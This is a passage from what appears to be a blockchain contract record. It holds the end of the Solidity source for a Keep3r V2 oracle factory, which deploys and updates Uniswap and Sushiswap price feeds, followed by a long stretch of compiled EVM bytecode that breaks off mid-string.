pendingGovernance, "!pG"); governance = pendingGovernance; } IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44); address[] internal _pairs; mapping(address => Keep3rV2Oracle) public feeds; function pairs() external view returns (address[] memory) { return _pairs; } constructor() { governance = msg.sender; } function update(address pair) external keeper returns (bool) { return feeds[pair].update(); } function byteCode(address pair) external pure returns (bytes memory bytecode) { bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair)); } function deploy(address pair) external returns (address feed) { require(msg.sender == governance, "!G"); require(address(feeds[pair]) == address(0), 'PE'); bytes memory bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair)); bytes32 salt = keccak256(abi.encodePacked(pair)); assembly { feed := create2(0, add(bytecode, 0x20), mload(bytecode), salt) if iszero(extcodesize(feed)) { revert(0, 0) } } feeds[pair] = Keep3rV2Oracle(feed); _pairs.push(pair); } function work() external upkeep { require(workable(), "!W"); for (uint i = 0; i < _pairs.length; i++) { feeds[_pairs[i]].update(); } } function work(address pair) external upkeep { require(feeds[pair].update(), "!W"); } function workForFree() external keeper { for (uint i = 0; i < _pairs.length; i++) { feeds[_pairs[i]].update(); } } function workForFree(address pair) external keeper { feeds[pair].update(); } function cache(uint size) external { for (uint i = 0; i < _pairs.length; i++) { feeds[_pairs[i]].cache(size); } } function cache(address pair, uint size) external { feeds[pair].cache(size); } function workable() public view returns (bool canWork) { canWork = true; for (uint i = 0; i < _pairs.length; i++) { if (!feeds[_pairs[i]].updateable()) { canWork = false; } } } function workable(address pair) public view returns (bool) { return feeds[pair].updateable(); } function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window, bool sushiswap) external view returns (uint[] memory prices, uint lastUpdatedAgo) { address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut); return feeds[_pair].sample(tokenIn, amountIn, tokenOut, points, window); } function sample(address pair, address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) { return feeds[pair].sample(tokenIn, amountIn, tokenOut, points, window); } function quote(address tokenIn, uint amountIn, address tokenOut, uint points, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) { address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut); return feeds[_pair].quote(tokenIn, amountIn, tokenOut, points); } function quote(address pair, address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) { return feeds[pair].quote(tokenIn, amountIn, tokenOut, points); } function current(address tokenIn, uint amountIn, address tokenOut, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) { address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut); return feeds[_pair].current(tokenIn, amountIn, tokenOut); } function current(address pair, address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) { return feeds[pair].current(tokenIn, amountIn, tokenOut); } }
0x60806040523480156200001157600080fd5b5060043610620001785760003560e01c8063399b2fb911620000d55780639f47130311620000875780639f4713031462000363578063ab033ea9146200037a578063ac8355921462000391578063f39c38a014620003a8578063fe54cee614620003bc578063ffb0a4a014620003d35762000178565b8063399b2fb914620002f65780634c96a389146200030057806350d4d86614620003175780635aa6e675146200032e578063740c25a2146200034257806380bb2bac14620003595762000178565b8063273c9d72116200012f578063273c9d7214620002555780632fba4aa9146200026c57806331ff3e9f1462000298578063322e9f0414620002af57806336df7ea514620002b9578063376346de14620002d05762000178565b806305e0b9a0146200017d578063122ba6d114620001b657806317bf72c614620001dd5780631c1b877214620001f6578063238efcbc146200021e57806323c87faf1462000228575b600080fd5b62000199731ceb5cb57c4d4e2b2433641b95dd330a33185a4481565b6040516001600160a01b0390911681526020015b60405180910390f35b620001cd620001c736600462001cca565b620003ec565b604051620001ad92919062001f20565b620001f4620001ee36600462001e48565b620004d8565b005b6200020d6200020736600462001a9e565b620005a4565b6040519015158152602001620001ad565b620001f4620006ea565b6200023f6200023936600462001c65565b62000750565b60408051928352602083019190915201620001ad565b6200023f6200026636600462001ac4565b6200082f565b620001996200027d36600462001a9e565b6003602052600090815260409020546001600160a01b031681565b6200023f620002a936600462001c17565b620008dd565b620001f4620009b4565b620001f4620002ca36600462001a9e565b62000d17565b620002e7620002e136600462001a9e565b62001018565b604051620001ad919062001f6a565b620001f462001087565b620001996200031136600462001a9e565b62001215565b620001cd6200032836600462001b7e565b620013c5565b60005462000199906001600160a01b031681565b620001f46200035336600462001a9e565b62001489565b6200020d620015bd565b6200020d6200037436600462001a9e565b620016b0565b620001f46200038b36600462001a9e565b62001718565b620001f4620003a236600462001be9565b6200177b565b60015462000199906001600160a01b031681565b6200023f620003cd36600462001b1d565b620017bc565b620003dd62001872565b604051620001ad919062001ed1565b6060600080836200040957620004038988620018d6565b62000415565b620004158988620019c1565b6001600160a01b038181166000908152600360205260409081902054905163014f267360e31b81528c83166004820152602481018c90528a83166044820152606481018a9052608481018990529293501690630a7933989060a40160006040518083038186803b1580156200048957600080fd5b505afa1580156200049e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052620004c8919081019062001d37565b9250925050965096945050505050565b60005b600254811015620005a05760036000600283815481106200050c57634e487b7160e01b600052603260045260246000fd5b6000918252602080832091909101546001600160a01b0390811684529083019390935260409182019020549051630bdfb96360e11b8152600481018590529116906317bf72c690602401600060405180830381600087803b1580156200057157600080fd5b505af115801562000586573d6000803e3d6000fd5b505050508080620005979062002008565b915050620004db565b5050565b604051630eef592f60e21b8152336004820152600090731ceb5cb57c4d4e2b2433641b95dd330a33185a4490633bbd64bc90602401602060405180830381600087803b158015620005f457600080fd5b505af115801562000609573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200062f919062001e0a565b620006575760405162461bcd60e51b81526004016200064e9062001f9f565b60405180910390fd5b6001600160a01b03808316600090815260036020908152604080832054815163a2e6204560e01b8152915194169363a2e6204593600480840194938390030190829087803b158015620006a957600080fd5b505af1158015620006be573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620006e4919062001e0a565b92915050565b6001546001600160a01b031633146200072c5760405162461bcd60e51b815260206004820152600360248201526221704760e81b60448201526064016200064e565b600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000806000836200076d57620007678887620018d6565b62000779565b620007798887620019c1565b6001600160a01b038181166000908152600360205260409081902054905163ae6ec9b760e01b81528b83166004820152602481018b9052898316604482015260648101899052929350169063ae6ec9b790608401604080518083038186803b158015620007e557600080fd5b505afa158015620007fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000820919062001e7a565b92509250509550959350505050565b6001600160a01b038481166000908152600360205260408082205490516353ae9ce160e11b815286841660048201526024810186905284841660448201529192839291169063a75d39c290606401604080518083038186803b1580156200089557600080fd5b505afa158015620008aa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620008d0919062001e7a565b9150915094509492505050565b600080600083620008fa57620008f48786620018d6565b62000906565b620009068786620019c1565b6001600160a01b03818116600090815260036020526040908190205490516353ae9ce160e11b81528a83166004820152602481018a90528883166044820152929350169063a75d39c290606401604080518083038186803b1580156200096b57600080fd5b505afa15801562000980573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620009a6919062001e7a565b925092505094509492505050565b60005a604051630eef592f60e21b8152336004820152909150731ceb5cb57c4d4e2b2433641b95dd330a33185a4490633bbd64bc90602401602060405180830381600087803b15801562000a0757600080fd5b505af115801562000a1c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000a42919062001e0a565b62000a615760405162461bcd60e51b81526004016200064e9062001f9f565b62000a6b620015bd565b62000a9e5760405162461bcd60e51b8152602060048201526002602482015261215760f01b60448201526064016200064e565b60005b60025481101562000b8257600360006002838154811062000ad257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b039081168452838201949094526040928301822054835163a2e6204560e01b8152935194169363a2e6204593600480820194918390030190829087803b15801562000b3157600080fd5b505af115801562000b46573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000b6c919062001e0a565b508062000b798162002008565b91505062000aa1565b506000731ceb5cb57c4d4e2b2433641b95dd330a33185a446001600160a01b03166309aff02b6040518163ffffffff1660e01b815260040160206040518083038186803b15801562000bd357600080fd5b505afa15801562000be8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000c0e919062001e29565b6001600160a01b031663525ea6315a62000c29908562001fbb565b6040518263ffffffff1660e01b815260040162000c4891815260200190565b60206040518083038186803b15801562000c6157600080fd5b505afa15801562000c76573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000c9c919062001e61565b6040516346cd669760e11b8152731ceb5cb57c4d4e2b2433641b95dd330a33185a446004820181905233602483015260448201839052919250638d9acd2e906064015b600060405180830381600087803b15801562000cfa57600080fd5b505af115801562000d0f573d6000803e3d6000fd5b505050505050565b60005a604051630eef592f60e21b8152336004820152909150731ceb5cb57c4d4e2b2433641b95dd330a33185a4490633bbd64bc90602401602060405180830381600087803b15801562000d6a57600080fd5b505af115801562000d7f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000da5919062001e0a565b62000dc45760405162461bcd60e51b81526004016200064e9062001f9f565b6001600160a01b03808316600090815260036020908152604080832054815163a2e6204560e01b8152915194169363a2e6204593600480840194938390030190829087803b15801562000e1657600080fd5b505af115801562000e2b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000e51919062001e0a565b62000e845760405162461bcd60e51b8152602060048201526002602482015261215760f01b60448201526064016200064e565b6000731ceb5cb57c4d4e2b2433641b95dd330a33185a446001600160a01b03166309aff02b6040518163ffffffff1660e01b815260040160206040518083038186803b15801562000ed457600080fd5b505afa15801562000ee9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000f0f919062001e29565b6001600160a01b031663525ea6315a62000f2a908562001fbb565b6040518263ffffffff1660e01b815260040162000f4991815260200190565b60206040518083038186803b15801562000f6257600080fd5b505afa15801562000f77573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000f9d919062001e61565b6040516346cd669760e11b8152731ceb5cb57c4d4e2b2433641b95dd330a33185a446004820181905233602483015260448201839052919250638d9acd2e90606401600060405180830381600087803b15801562000ffa57600080fd5b505af11580156200100f573d6000803e3d6000fd5b50505050505050565b6060604051806020016200102c9062001a90565b601f1982820381018352601f9091011660408181526001600160a01b03851660208301520160408051601f198184030181529082905262001071929160200162001e9e565b6040516020818303038152906040529050919050565b604051630eef592f60e21b8152336004820152731ceb5cb57c4d4e2b2433641b95dd330a33185a4490633bbd64bc90602401602060405180830381600087803b158015620010d457600080fd5b505af1158015620010e9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200110f919062001e0a565b6200112e5760405162461bcd60e51b81526004016200064e9062001f9f565b60005b600254811015620012125760036000600283815481106200116257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b039081168452838201949094526040928301822054835163a2e6204560e01b8152935194169363a2e6204593600480820194918390030190829087803b158015620011c157600080fd5b505af1158015620011d6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620011fc919062001e0a565b5080620012098162002008565b91505062001131565b50565b600080546001600160a01b03163314620012575760405162461bcd60e51b8152602060048201526002602482015261214760f01b60448201526064016200064e565b6001600160a01b038281166000908152600360205260409020541615620012a65760405162461bcd60e51b8152602060048201526002602482015261504560f01b60448201526064016200064e565b600060405180602001620012ba9062001a90565b601f1982820381018352601f9091011660408181526001600160a01b03861660208301520160408051601f1981840301815290829052620012ff929160200162001e9e565b60408051601f19818403018152908290526001600160601b0319606086901b1660208301529150600090603401604051602081830303815290604052805190602001209050808251602084016000f59250823b6200135c57600080fd5b50506001600160a01b03918216600081815260036020526040812080549484166001600160a01b03199586161790556002805460018101825591527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180549093161790915590565b6001600160a01b0386811660009081526003602052604080822054905163014f267360e31b8152888416600482015260248101889052868416604482015260648101869052608481018590526060939190911690630a7933989060a40160006040518083038186803b1580156200143b57600080fd5b505afa15801562001450573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526200147a919081019062001d37565b91509150965096945050505050565b604051630eef592f60e21b8152336004820152731ceb5cb57c4d4e2b2433641b95dd330a33185a4490633bbd64bc90602401602060405180830381600087803b158015620014d657600080fd5b505af1158015620014eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001511919062001e0a565b620015305760405162461bcd60e51b81526004016200064e9062001f9f565b6001600160a01b03808216600090815260036020908152604080832054815163a2e6204560e01b8152915194169363a2e6204593600480840194938390030190829087803b1580156200158257600080fd5b505af115801562001597573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005a0919062001e0a565b600160005b600254811015620016ac576003600060028381548110620015f357634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03908116845283820194909452604092830190912054825163983586d960e01b8152925193169263983586d9926004808201939291829003018186803b1580156200165257600080fd5b505afa15801562001667573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200168d919062001e0a565b6200169757600091505b80620016a38162002008565b915050620015c2565b5090565b6001600160a01b03808216600090815260036020908152604080832054815163983586d960e01b815291519394169263983586d992600480840193919291829003018186803b1580156200170357600080fd5b505afa158015620006be573d6000803e3d6000fd5b6000546001600160a01b03163314620017595760405162461bcd60e51b8152602060048201526002602482015261214760f01b60448201526064016200064e565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0382811660009081526003602052604090819020549051630bdfb96360e11b8152600481018490529116906317bf72c69060240162000cdf565b6001600160a01b0385811660009081526003602052604080822054905163ae6ec9b760e01b81528784166004820152602481018790528584166044820152606481018590529192839291169063ae6ec9b790608401604080518083038186803b1580156200182957600080fd5b505afa1580156200183e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001864919062001e7a565b915091509550959350505050565b60606002805480602002602001604051908101604052809291908181526020018280548015620018cc57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311620018ad575b5050505050905090565b6000806000836001600160a01b0316856001600160a01b031610620018fd57838562001900565b84845b60408051606084811b6001600160601b03199081166020808501919091529185901b166034830152825160288184030181526048830190935282519201919091206001600160f81b03196068830152735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f60601b6069830152607d8201527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d820152919350915060bd015b60408051601f19818403018152919052805160209091012095945050505050565b6000806000836001600160a01b0316856001600160a01b031610620019e8578385620019eb565b84845b60408051606084811b6001600160601b03199081166020808501919091529185901b166034830152825160288184030181526048830190935282519201919091206001600160f81b031960688301527330d76b6d9404bb15e594daf66193b61dceaf1d3160621b6069830152607d8201527fe18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303609d820152919350915060bd01620019a0565b611c92806200207883390190565b60006020828403121562001ab0578081fd5b813562001abd8162002052565b9392505050565b6000806000806080858703121562001ada578283fd5b843562001ae78162002052565b9350602085013562001af98162002052565b925060408501359150606085013562001b128162002052565b939692955090935050565b600080600080600060a0868803121562001b35578081fd5b853562001b428162002052565b9450602086013562001b548162002052565b935060408601359250606086013562001b6d8162002052565b949793965091946080013592915050565b60008060008060008060c0878903121562001b97578081fd5b863562001ba48162002052565b9550602087013562001bb68162002052565b945060408701359350606087013562001bcf8162002052565b9598949750929560808101359460a0909101359350915050565b6000806040838503121562001bfc578182fd5b823562001c098162002052565b946020939093013593505050565b6000806000806080858703121562001c2d578384fd5b843562001c3a8162002052565b935060208501359250604085013562001c538162002052565b9150606085013562001b128162002068565b600080600080600060a0868803121562001c7d578081fd5b853562001c8a8162002052565b945060208601359350604086013562001ca38162002052565b925060608601359150608086013562001cbc8162002068565b809150509295509295909350565b60008060008060008060c0878903121562001ce3578182fd5b863562001cf08162002052565b955060208701359450604087013562001d098162002052565b9350606087013592506080870135915060a087013562001d298162002068565b809150509295509295509295565b6000806040838503121562001d4a578182fd5b825167ffffffffffffffff8082111562001d62578384fd5b818501915085601f83011262001d76578384fd5b815160208282111562001d8d5762001d8d6200203c565b808202604051601f19603f8301168101818110868211171562001db45762001db46200203c565b604052838152828101945085830182870184018b101562001dd3578889fd5b8896505b8487101562001df757805186526001969096019594830194830162001dd7565b5097909101519698969750505050505050565b60006020828403121562001e1c578081fd5b815162001abd8162002068565b60006020828403121562001e3b578081fd5b815162001abd8162002052565b60006020828403121562001e5a578081fd5b5035919050565b60006020828403121562001e73578081fd5b5051919050565b6000806040838503121562001e8d578182fd5b505080516020909101519092909150565b6000835162001eb281846020880162001fd5565b83519083019062001ec881836020880162001fd5565b01949350505050565b6020808252825182820181905260009190848201906040850190845b8181101562001f145783516001600160a01b03168352928401929184019160010162001eed565b50909695505050505050565b604080825283519082018190526000906020906060840190828701845b8281101562001f5b5781518452928401929084019060010162001f3d565b50505092019290925292915050565b600060208252825180602084015262001f8b81604085016020870162001fd5565b601f01601f19169190910160400192915050565b602080825260029082015261214b60f01b604082015260600190565b60008282101562001fd05762001fd062002026565b500390565b60005b8381101562001ff257818101518382015260200162001fd8565b8381111562002002576000848401525b50505050565b60006000198214156200201f576200201f62002026565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146200121257600080fd5b80151581146200121257600080fdfe60c0604052600160701b6201000055670de0b6b3a764000062010001553480156200002957600080fd5b5060405162001c9238038062001c928339810160408190526200004c9162000326565b33606090811b6080526001600160601b031982821b1660a05260408051630240bc6b60e21b815290516000926001600160a01b03851692630902f1ac9260048083019392829003018186803b158015620000a557600080fd5b505afa158015620000ba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000e0919062000356565b92505050600062010000546201000154846001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b1580156200012a57600080fd5b505afa1580156200013f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001659190620003aa565b620001719190620003e4565b6200017d9190620003c3565b9050600062010000546201000154856001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b158015620001c557600080fd5b505afa158015620001da573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002009190620003aa565b6200020c9190620003e4565b620002189190620003c3565b6040805160608101825263ffffffff861681526001600160701b03808616602083015283169181019190915261ffff805492935090916000919081169082620002618362000406565b91906101000a81548161ffff021916908361ffff16021790555061ffff1661ffff81106200029f57634e487b7160e01b600052603260045260246000fd5b825191018054602084015160409094015163ffffffff1990911663ffffffff90931692909217600160201b600160901b0319166401000000006001600160701b0394851602176001600160901b0316600160901b9390921692909202179055506200044192505050565b80516001600160701b03811681146200032157600080fd5b919050565b60006020828403121562000338578081fd5b81516001600160a01b03811681146200034f578182fd5b9392505050565b6000806000606084860312156200036b578182fd5b620003768462000309565b9250620003866020850162000309565b9150604084015163ffffffff811681146200039f578182fd5b809150509250925092565b600060208284031215620003bc578081fd5b5051919050565b600082620003df57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156200040157620004016200042b565b500290565b600061ffff808316818114156200042157620004216200042b565b6001019392505050565b634e487b7160e01b600052601160045260246000fd5b60805160601c60a05160601c6117df620004b3600039600081816101830152818161041f0152818161067b0152818161088001528181610a6501528181610b0401528181610bad01528181611044015281816111d10152818161128001526113330152600061093101526117df6000f3fe608060405234801561001057600080fd5b50600436106100935760003560e01c8063983586d911610066578063983586d914610136578063a2e620451461014e578063a75d39c214610156578063a8aa1b311461017e578063ae6ec9b7146101bd57610093565b80630a7933981461009857806317bf72c6146100c25780631f7b6d32146100d7578063252c09d7146100f7575b600080fd5b6100ab6100a6366004611595565b6101d0565b6040516100b9929190611660565b60405180910390f35b6100d56100d0366004611630565b610737565b005b61ffff80546100e4911681565b60405161ffff90911681526020016100b9565b61010a610105366004611630565b6107b1565b6040805163ffffffff90941684526001600160701b0392831660208501529116908201526060016100b9565b61013e6107ea565b60405190151581526020016100b9565b61013e610924565b610169610164366004611517565b610994565b604080519283526020830191909152016100b9565b6101a57f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016100b9565b6101696101cb366004611552565b610d5d565b6060600080856001600160a01b0316886001600160a01b0316106101f55785886101f8565b87865b5090508467ffffffffffffffff81111561022257634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561024b578160200160208202803683370190505b509250876001600160a01b0316816001600160a01b031614156104d45761ffff805460009161027d91600191166116ff565b61ffff169050600061028f86886116e0565b6102999083611722565b60408051606081018252600080825260208201819052918101829052919250905b8383101561041b5760408051606081018252600080825260208201819052918101829052908461ffff81106102ff57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152905060006103488a866116a8565b61ffff811061036757634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020808701829052600160901b9094048216948601949094529185015185519496506103d094921692916103c491611739565b63ffffffff168f611100565b8884815181106103f057634e487b7160e01b600052603260045260246000fd5b60209081029190910101526104068360016116a8565b9250610414905088846116a8565b92506102ba565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561047657600080fd5b505afa15801561048a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ae91906115e2565b845163ffffffff91821694506104c8935016905082611722565b9650505050505061072c565b61ffff80546000916104e991600191166116ff565b61ffff16905060006104fb86886116e0565b6105059083611722565b60408051606081018252600080825260208201819052918101829052919250905b838310156106775760408051606081018252600080825260208201819052918101829052908461ffff811061056b57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152905060006105b48a866116a8565b61ffff81106105d357634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020860152600160901b909204821684840181905292850151855194965061062c94921692916103c491611739565b88848151811061064c57634e487b7160e01b600052603260045260246000fd5b60209081029190910101526106628360016116a8565b9250610670905088846116a8565b9250610526565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156106d257600080fd5b505afa1580156106e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070a91906115e2565b845163ffffffff9182169450610724935016905082611722565b965050505050505b509550959350505050565b61ffff805460009161074b918491166116a8565b61ffff8054919250165b818110156107ac57600160008261ffff811061078157634e487b7160e01b600052603260045260246000fd5b01805463ffffffff191663ffffffff92909216919091179055806107a481611778565b915050610755565b505050565b60008161ffff81106107c257600080fd5b015463ffffffff811691506001600160701b03600160201b8204811691600160901b90041683565b61ffff80546000918291829161080391600191166116ff565b61ffff1661ffff811061082657634e487b7160e01b600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b90910416828201528051630240bc6b60e21b815290519193506000926001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692630902f1ac926004818101939291829003018186803b1580156108c357600080fd5b505afa1580156108d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fb91906115e2565b845163ffffffff91821694506000935061091792501683611722565b6107081093505050505b90565b6000336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146109875760405162461bcd60e51b815260206004820152600260248201526110a360f11b604482015260640160405180910390fd5b61098f61113b565b905090565b6000806000836001600160a01b0316866001600160a01b0316106109b95783866109bc565b85845b5061ffff805491925060009182916109d791600191166116ff565b61ffff1661ffff81106109fa57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b82048116602080860191909152600160901b9092041683830152620100005462010001548351635909c0d560e01b81529351949550600094919390926001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692635909c0d5926004818101939291829003018186803b158015610aa857600080fd5b505afa158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae09190611648565b610aea91906116e0565b610af491906116c0565b90506000620100005462010001547f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b158015610b5b57600080fd5b505afa158015610b6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b939190611648565b610b9d91906116e0565b610ba791906116c0565b905060007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610c0457600080fd5b505afa158015610c18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3c91906115e2565b63ffffffff1692505050836000015163ffffffff16811415610cce5761ffff8054600091610c6d91600291166116ff565b61ffff1661ffff8110610c9057634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b909104169082015293505b8351600090610ce39063ffffffff1683611722565b90508015610cf15780610cf4565b60015b90508a6001600160a01b0316866001600160a01b03161415610d3057610d2985602001516001600160701b031685838d611100565b9750610d4c565b610d4985604001516001600160701b031684838d611100565b97505b809650505050505050935093915050565b6000806000846001600160a01b0316876001600160a01b031610610d82578487610d85565b86855b5061ffff80549192506000918291610da091600191166116ff565b61ffff1690506000610db28783611722565b9050610dd7604080516060810182526000808252602082018190529181019190915290565b604080516060810182526000808252602082018190529181019190915260008c6001600160a01b0316876001600160a01b03161415610f27575b84841015610f2257610e248460016116a8565b905060008461ffff8110610e4857634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152925060008161ffff8110610ea757634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020808701829052600160901b909404821694860194909452918701518751949650610f0494921692916103c491611739565b610f0e90876116a8565b955083610f1a81611778565b945050610e11565b611034565b8484101561103457610f3a8460016116a8565b905060008461ffff8110610f5e57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b9091041690820152925060008161ffff8110610fbd57634e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020860152600160901b909204821684840181905292870151875194965061101694921692916103c491611739565b61102090876116a8565b95508361102c81611778565b945050610f27565b61103e8a876116c0565b985060007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561109b57600080fd5b505afa1580156110af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d391906115e2565b855163ffffffff91821694506110ed935016905082611722565b9850505050505050505094509492505050565b600082620100015486866111149190611722565b61111e90856116e0565b61112891906116c0565b61113291906116c0565b95945050505050565b61ffff80546000918291829161115491600191166116ff565b61ffff1661ffff811061117757634e487b7160e01b600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b90910416828201528051630240bc6b60e21b815290519193506000926001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692630902f1ac926004818101939291829003018186803b15801561121457600080fd5b505afa158015611228573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124c91906115e2565b845190935060009250611260915083611739565b90506107088163ffffffff1611156114da576000620100005462010001547f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b1580156112d757600080fd5b505afa1580156112eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130f9190611648565b61131991906116e0565b61132391906116c0565b90506000620100005462010001547f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b15801561138a57600080fd5b505afa15801561139e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c29190611648565b6113cc91906116e0565b6113d691906116c0565b6040805160608101825263ffffffff871681526001600160701b03808616602083015283169181019190915261ffff80549293509091600091908116908261141d83611756565b91906101000a81548161ffff021916908361ffff16021790555061ffff1661ffff811061145a57634e487b7160e01b600052603260045260246000fd5b825191018054602084015160409094015163ffffffff1990911663ffffffff9093169290921771ffffffffffffffffffffffffffff000000001916600160201b6001600160701b03948516021771ffffffffffffffffffffffffffffffffffff16600160901b939092169290920217905550600194506109219350505050565b6000935050505090565b80356001600160a01b03811681146114fb57600080fd5b919050565b80516001600160701b03811681146114fb57600080fd5b60008060006060848603121561152b578283fd5b611534846114e4565b925060208401359150611549604085016114e4565b90509250925092565b60008060008060808587031215611567578081fd5b611570856114e4565b935060208501359250611585604086016114e4565b9396929550929360600135925050565b600080600080600060a086880312156115ac578081fd5b6115b5866114e4565b9450602086013593506115ca604087016114e4565b94979396509394606081013594506080013592915050565b6000806000606084860312156115f6578283fd5b6115ff84611500565b925061160d60208501611500565b9150604084015163ffffffff81168114611625578182fd5b809150509250925092565b600060208284031215611641578081fd5b5035919050565b600060208284031215611659578081fd5b5051919050565b604080825283519082018190526000906020906060840190828701845b828110156116995781518452928401929084019060010161167d565b50505092019290925292915050565b600082198211156116bb576116bb611793565b500190565b6000826116db57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156116fa576116fa611793565b500290565b600061ffff8381169083168181101561171a5761171a611793565b039392505050565b60008282101561173457611734611793565b500390565b600063ffffffff8381169083168181101561171a5761171a611793565b600061ffff8083168181141561176e5761176e611793565b6001019392505050565b600060001982141561178c5761178c611793565b5060010190565b634e487b7160e01b6000526011600452